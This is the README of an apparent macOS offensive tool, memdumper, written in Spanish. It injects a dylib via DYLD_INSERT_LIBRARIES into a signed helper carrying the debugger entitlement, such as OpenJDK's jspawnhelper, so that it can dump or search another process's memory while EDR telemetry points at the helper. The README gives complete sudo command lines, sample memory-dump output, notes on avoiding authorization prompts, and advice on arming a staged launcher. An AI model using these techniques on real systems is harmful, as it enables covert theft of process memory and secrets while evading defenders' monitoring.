
Abusa de los entitlements de depurador de macOS y de DYLD_INSERT_LIBRARIES para volcar o buscar la memoria de un proceso en ejecución mientras traslada la atribución del EDR a un binario auxiliar firmado.
memdumper lee la memoria de un proceso de macOS en ejecución bajo el entitlement de depurador de otro binario firmado. La idea es que task_for_pid y ptrace se ejecuten como ese binario con entitlement, de modo que un EDR lo registre a él en lugar de a memdumper.
por cenobyte [email protected] 2026
https://github.com/cenobyte-vincit/memdumper
memdumper inicia un binario con entitlement que lleva com.apple.security.cs.debugger más los dos entitlements que permiten una inserción de DYLD_INSERT_LIBRARIES. Úsalo para buscar y volcar la memoria de otro proceso como root. jspawnhelper de OpenJDK es un binario que se encuentra con frecuencia, sobre todo en máquinas de desarrollo.
Pásale a attach.sh un PID objetivo y el binario con entitlement. El constructor de la dylib se ejecuta antes del main de ese binario, lee el objetivo y luego llama a _exit. El binario con entitlement nunca llega a main, por lo que un helper como jspawnhelper no imprime su banner de uso. Los argumentos adicionales después del binario con entitlement permanecen en la línea de comandos que registra un EDR. Sin -s, la dylib vuelca en hexadecimal el inicio de cada región legible. Con -s, busca la cadena en esas regiones. No se escribe en el espacio de direcciones del objetivo. El attach con ptrace puede detener brevemente al objetivo.
El estado del volcado es la línea [RESULT] en la salida combinada. Una inserción correcta sale con 0 después de que el constructor termina.
com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables y com.apple.security.cs.disable-library-validation (por ejemplo, jspawnhelper de OpenJDK)clangmakeattach.sh y los scripts de prueba (brew install shellcheck)brew install cppcheck)En el host de compilación:
make
Eso produce memdumper.dylib. Copia attach.sh y memdumper.dylib al objetivo si las máquinas no son las mismas.
Ejecuta attach.sh como root desde el directorio que contiene memdumper.dylib. A un llamador que no sea root se le rechaza antes de que arranque el binario con entitlement (root required). Eso evita el diálogo de contraseña de Developer Tool Access (taskgated / Authorization Services). Ese diálogo no es Transparency, Consent, and Control (TCC).
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
Confirma que un binario candidato con entitlement tenga los tres entitlements. El prefijo Cellar y la versión de OpenJDK varían; attach.sh usa este diseño en su propia ayuda:
codesign -d --entitlements - \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Vuelca las regiones legibles del PID 4543:
sudo ./attach.sh -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Busca HELLO en ese proceso:
sudo ./attach.sh -s HELLO -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Limita el volcado a 50 regiones legibles, usando java como binario con entitlement. TestSpawn permanece en la línea de comandos; el main de java no se ejecuta:
sudo ./attach.sh -n 50 -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn
Un editor sin Hardened Runtime es un buen objetivo de prueba de humo. Inícialo como el usuario que posee el buffer y luego haz attach como root. En una terminal:
nano foo
Pon HELLO en el buffer para que la cadena esté en el proceso (guarda el archivo o déjalo sin guardar). En otra terminal, desde el directorio que contiene memdumper.dylib:
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Un acierto se ve así. El proceso sale entonces con 0:
Target: pid 9810 (nano)
Target has no hardened runtime
[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec 22 90 00 00 00 00 00 00 |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00 |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done
attach.sh no comprueba los entitlements del binario con entitlement. Si al binario le falta cualquiera de los tres, falla en la inserción o en task_for_pid.
| Código | Significado |
|---|---|
| 0 | El constructor terminó después de una inserción correcta |
| 1 | Error de uso, no eres root, falta memdumper.dylib en el directorio actual, falta -p, no se encontró el PID objetivo, Hardened Runtime sin --force, o la inserción no ocurrió (el binario con entitlement se ejecutó y salió con código distinto de cero) |
Lee [RESULT] para conocer el resultado del volcado. La salida 0 solo significa que el constructor se ejecutó y llamó a _exit.
La dylib lee tres variables de entorno. attach.sh las establece a partir de las opciones.
Cualquier lanzador que establezca DYLD_INSERT_LIBRARIES a memdumper.dylib y esas variables puede inyectar la dylib. attach.sh es el lanzador incluido en el árbol.
En el host de compilación, make compila la dylib y ejecuta cppcheck y shellcheck. make test ejecuta las pruebas unitarias y la suite funcional. Estas comprobaciones no son una prueba de runtime limpio.
Las pruebas en vivo de búsqueda y volcado necesitan Homebrew OpenJDK y uid 0. Buscan jspawnhelper con find en /opt/homebrew/Cellar y /usr/local/Cellar (sin fijar versión). No llaman a sudo ellas mismas. Sin Homebrew OpenJDK, o si la suite no se ejecuta ya como uid 0, esos dos casos se omiten (salida 77), de modo que un make test sin root no presenta Developer Tool Access. Usa sudo make test cuando quieras que esas inyecciones se ejecuten.
make
make test
sudo make test
make test-unit
make test-functional
task_for_pid, ptrace y la lectura de memoria (1Password, Chrome). --force lo intenta igualmente y casi siempre falla.taskgated evalúa el derecho system.privilege.taskport de Authorization Services. Ese diálogo no es TCC. El Developer Mode (DevToolsSecurity -enable) y pertenecer a admin o _developer no lo suprime para jspawnhelper de Homebrew (adhoc, entitlement de depurador público). Solo omite la contraseña para herramientas firmadas por Apple como lldb. System Integrity Protection (SIP) mantiene fuera de alcance los procesos protegidos del sistema incluso como root.bash) rechazan el attach mediante otras comprobaciones.attach.sh busca en el directorio de trabajo actual, no junto al script. Para armar esto por completo, implementa ese lanzador en la etapa 1 o 2 en lugar de distribuir .system.privilege.taskport, los tres métodos, lo que registra un EDR| Opción | Significado |
|---|
-p, --pid PID | ID del proceso objetivo (obligatorio) |
-s, --search STRING | Busca STRING en las regiones legibles |
-n, --max-regions N | Máximo de regiones legibles a volcar en hexadecimal (por defecto 100). Solo en la ruta de volcado |
-f, --force | Continuar cuando codesign informe Hardened Runtime |
-h, --help | Imprime el uso (salida 1) |
| Variable | Establecida por | Significado |
|---|
MEMDUMPER_TARGET_PID | -p | PID objetivo. Si no está definida o no es un entero positivo, el constructor imprime un diagnóstico y retorna |
MEMDUMPER_SEARCH | -s | Si no está vacía, busca en lugar de volcar |
MEMDUMPER_MAX_REGIONS | -n | Regiones legibles a volcar en hexadecimal (por defecto 100). Se ignora en la ruta de búsqueda |
memdumper.dylibattach.sh-n / MEMDUMPER_MAX_REGIONS, por defecto 100).ptrace es solo attach y detach. No vuelca memoria. [RESULT] 3/3 significa que las tres llamadas tuvieron éxito, no que se ejecutaron tres rutas de volcado.DYLD_INSERT_LIBRARIES. Los threat hunters usan ese campo para detectar esta inserción.